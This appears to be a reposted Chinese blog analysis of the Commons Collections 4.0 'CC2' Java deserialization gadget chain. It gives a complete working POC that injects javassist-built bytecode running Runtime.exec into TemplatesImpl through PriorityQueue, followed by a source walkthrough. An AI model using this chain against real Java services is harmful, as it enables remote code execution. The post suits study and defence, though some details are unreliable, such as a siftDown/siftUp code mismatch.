Java安全 CC链2分析

这篇具有很好参考价值的文章主要介绍了Java安全 CC链2分析。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

cc链2介绍

CC2链适用于Apache common collection 4.0版本,由于该版本对AnnotationInvocationHandler类readObject方法进行了修复,导致cc链1无法使用,故产生了cc链2,cc链2与cc链3相似,都使用了字节码的加载,并且后续的触发链也基本相同

前置知识

环境配置

有关环境配置请看

Java安全 CC链1分析

不同的是由于我们需要使用的版本为cc4,故需要设置pom.xml文件依赖内容如下

    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.19.0-GA</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
    </dependencies>

类加载机制

可以看这篇文章

Java安全 CC链3分析

触发流程

ysoserial中给出的链

ObjectInputStream.readObject()
			PriorityQueue.readObject()
				PriorityQueue.heapify();
					PriorityQueue.siftDown();
   						siftUpUsingComparator();
							TransformingComparator.compare()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

cc链2POC

package org.example;

import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class cc2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime

        byte[] bytes=payload.toBytecode();//转换为byte数组

        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);//暴力反射
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);//暴力反射
        field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
        PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
        queue.add(1);//添加数字1插入此优先级队列
        queue.add(1);//添加数字1插入此优先级队列

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);//暴力反射
        field2.set(queue,comparator);//设置queue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl

        ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
        outputStream.writeObject(queue);
        outputStream.close();

        ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
        inputStream.readObject();

    }
}

cc链2分析

先看下PriorityQueue类中的readObject方法,代码如下

    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        s.readInt();
        queue = new Object[size];
        for (int i = 0; i < size; i++)
            queue[i] = s.readObject();
        heapify();
    }

这里我们发现,会先调用defaultReadObject()方法将序列化文件反序列化,然后调用readInt()方法获取优先队列的长度

然后执行 queue[i] = s.readObject(),将优先队列的值赋值给queue[i]数组,queue[i]数组值是在调用writeObject方法序列化时定义的,

queue属性为私有的,我们可以通过反射将其赋值为携带有恶意字节码的TemplatesImpl对象,具体利用下面有讲

Java安全 CC链2分析,Java安全,web安全,开发,java,web安全,代码复审

在对queue[i]循环赋值完成后会调用heapify()方法,我们跟进查看其代码

    private void heapify() {
        for (int i = (size >>> 1) - 1; i >= 0; i--)
            siftDown(i, (E) queue[i]);
    }

我们看到代码 int i = (size >>> 1) - 1;,此代码会将优先队列的长度右移1位(缩小两倍),然后减1,如果我们想让循环正常进行的话,优先队列的长度至少为2

然后我们看到循环中的 siftDown方法,代码如下

    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }

这里E x则为刚才传入的queue[i],我们跟进到siftDownUsingComparator方法,代码如下

    private void siftUpUsingComparator(int k, E x) {
        while (k > 0) {
            int parent = (k - 1) >>> 1;
            Object e = queue[parent];
            if (comparator.compare(x, (E) e) >= 0) //由此进入
                break;
            queue[k] = e;
            k = parent;
        }
        queue[k] = x;
    }

这里会对queue[i]执行comparator.compare方法,我们看到comparator属性的定义如下

    private final Comparator<? super E> comparator;

我们发现comparator属性为私有的,在poc当中通过反射把该属性的值设为了TransformingComparator对象,代码如下

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象

我们跟进到该对象的compare方法,代码如下

    public int compare(final I obj1, final I obj2) {
        final O value1 = this.transformer.transform(obj1);
        final O value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }

这里调用了InvokerTransformer对象**(transformer属性)**的transform方法,我们跟进查看代码

    public O transform(final Object input) {
        if (input == null) {
            return null;
        }
        try {
            final Class<?> cls = input.getClass();
            final Method method = cls.getMethod(iMethodName, iParamTypes);
            return (O) method.invoke(input, iArgs);
        } catch (final NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' does not exist");
        } catch (final IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' cannot be accessed");
        } catch (final InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
                                       input.getClass() + "' threw an exception", ex);
        }
    }

这里的input属性仍为之前的queue[i]iMethodName属性的值为我们创建对象时,通过构造方法穿进去的"newTransformer"

method.invoke(input, iArgs);这句代码会调用queue[i]newTransformer方法

poc中的queue[0]被赋值为TemplatesImpl对象,定义如下

Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
        field3.setAccessible(true);//暴力反射
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});

//templatesImpl即为携带恶意静态代码的对象

下面流程基本和cc3相同了

我们跟进到TemplatesImpl对象newTransformer方法,代码如下

    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory); //关键语句

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

我们代码中标注的关键语句调用了getTransletInstance()方法,我们查看其代码如下

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
            if (_class == null) defineTransletClasses();
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
……………………
        }

可以看到假如满足if (_name != null)if (_class == null)的话会调用defineTransletClasses()方法,代码如下

private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }
…………
            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass(); //注意
                
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
…………
    }

这里会加载携带恶意静态代码的字节流类_bytecodes复制给数组_class[i],然后回到getTransletInstance()方法

执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();这里会将刚才携带恶意代码的类进行初始化执行静态恶意代码,到此攻击完成

需要注意的是我们构造的这个字节流序列化对象要为AbstractTranslet类的子类

成功弹出计算器
Java安全 CC链2分析,Java安全,web安全,开发,java,web安全,代码复审文章来源地址https://www.toymoban.com/news/detail-841582.html

到了这里,关于Java安全 CC链2分析的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Java CC链全分析

    CC链全称CommonsCollections(Java常用的一个库) JDK版本:jdk8u65 Maven依赖: 入口: org.apache.commons.collections.Transformer ,transform方法有21种实现 入口类: org.apache.commons.collections.functors.InvokerTransformer ,它的transform方法使用了反射来调用input的方法,input,iMethodName,iParamTypes,iArgs都是可

    2024年03月20日
    浏览(29)
  • Java安全--CC3

    CC3和CC1和CC6的执行命令方式不一样。CC3使用的是动态类加载。我们把恶意代码写在加载类的静态构造方法中。需要注意的是: 当初始化的时候就会执行静态构造方法,defineClass的时候是不会执行静态构造代码块的,我们在找利用点的时候需要有newInstance()这种。 我们从

    2024年02月14日
    浏览(33)
  • Java安全--CC1的补充和CC6

    上一次讲的是cc链的一种形式,这个补充的cc链子是yso的cc链。 这个链子确实比较麻烦,但是和我们下一步要学习的cc6有比较紧的联系。所以做一下补充,值得一提的是这个链子也确实很巧妙 我们看一下两条链子的分歧在哪里: 从 ChainedTransformer.transform() 开始往下和上一次讲

    2024年02月09日
    浏览(25)
  • Java安全研究——反序列化漏洞之CC链

    apache commons-collections组件下的反序列化漏洞,自从该组件被爆出漏洞后,许多安全研究员相继挖掘到java多种组件的漏洞,危害严重。本人也是初学Java审计不久,技术薄弱,所以在此做一个cc链的学习总结,如有错误还请大佬指出。 若本文有侵权行为,请立即私信,将全面修

    2024年02月04日
    浏览(42)
  • Java反序列化漏洞-CC1利用链分析

    目录 一、前置知识 1. 反射 2. Commons Collections是什么 3. 环境准备 二、分析利用链 1. Transformer 2. InvokeTransformer 执行命令 3. ConstantTransformer 4. ChainedTransformer 执行命令 5. TransformedMap 6. AbstractInputCheckedMapDecorator 7. AnnotationInvocationHandler 三、编写POC 1. ChainedTransformer 2. decorate 3. Annotatio

    2024年02月04日
    浏览(33)
  • Java安全 URLDNS链分析,网络安全开发面试基础

    this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员 那我们去 URLStreamHandler类 当中,查看下 hashCode方法 的代码 protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host pa

    2024年04月23日
    浏览(27)
  • Struts vs. Struts 2:Java Web 开发框架的升级之路与竞争力分析

    🌷🍁 博主猫头虎 带您 Go to New World.✨🍁 🦄 博客首页——猫头虎的博客🎐 🐳《面试题大全专栏》 文章图文并茂🦕生动形象🦖简单易学!欢迎大家来踩踩~🌺 🌊 《IDEA开发秘籍专栏》学会IDEA常用操作,工作效率翻倍~💐 🌊 《100天精通Golang(基础入门篇)》学会Golang语言

    2024年02月11日
    浏览(31)
  • Java安全基础之Java Web核心技术

    目录 Java EE Java MVC Servlet JSP Filter JDBC RMI JNDI Java 平台有 3 个主要版本: Java SE(Java Platform Standard Edition,Java平台标准版) Java EE(Java Platform Enterprise Edition,Java 平台企业版) Java ME(Java Platform Micro Edition,Java 平台微型版) 其中 Java EE 是 Java 应用最广泛的版本。Java EE 也称为

    2024年04月22日
    浏览(26)
  • 【java】【ssm】【微信小程序】 初级移动医院预约系统成品代码动态网站开发网页WEB浏览器端B/S结构移动微信小程序端项目

    本系统是使用java语言结合mysql数据库开发的医院预约系统,后台管理是网页WEB浏览器端B/S结构,移动端是微信小程序。 其中分为前端和后台。 前端主要是患者预约使用,包括预约、医生详情查看、医生列表查询、个人中心等。 后台则是对系统的所有数据进行管理。 后台用户

    2024年02月03日
    浏览(36)
  • 腾讯EdgeOne产品测评体验——多重攻击实战验证安全壁垒:DDoS攻击|CC压测|Web漏洞扫描|SQL注入

    🌈你好呀!我是 是Yu欸 🌌 2024每日百字篆刻时光,感谢你的陪伴与支持 ~ 🚀 欢迎一起踏上探险之旅,挖掘无限可能,共同成长! 在一个阳光明媚的下午,我收到了一个特别的邀请:对腾讯云EdgeOne(简称EO),一款致力于提速和加强网站安全的边缘安全加速平台,进行深度

    2024年04月17日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包